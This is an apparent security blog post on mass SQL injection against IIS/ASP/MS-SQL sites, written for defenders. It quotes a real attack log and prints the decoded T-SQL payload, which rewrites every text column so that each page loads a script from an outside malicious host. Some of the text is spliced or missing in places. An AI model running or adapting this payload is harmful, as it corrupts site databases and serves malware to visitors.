As most of you already have heard, or have faced yourselves, the mass SQL Injection attacks are still going strong on the web - Mass SQL Attack a Wake-up Call for Developers.
The Game Has Changed
Previously criminals had a tough time creating scripts that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same. This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures (such as in the previous real attack). This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.
A "skeleton key" attack if you will. Brutal...
The attacks have mainly been targeting IIS/ASP/MS-SQL sites up to this point. For example, I recently received this example attack log from a ModSecurity user which shows the SQL Injection payload -
GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20If we decode the HEX encoded SQL data, we get this -
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_CursorFortunately for this user, ModSecurity has rules that easily detected and blocked this attack.
Technical Sidenote - what is interesting with these PHP sites is that even though their web applications are not filtering client input and their DB queries are not secure, they are actually able to prevent the goal of this attack since the PHP code is properly html encoding the output sent to the clients :)What I am not sure of is whether then attack code itself has indeed changed (to target other back-end DBs) or if the victim site is using a PHP front-end with a MS-SQL back-end… If you have any logs of these attacks where they are targeting PHP pages (instead of ASP/ASPX), please share them with me or post them here.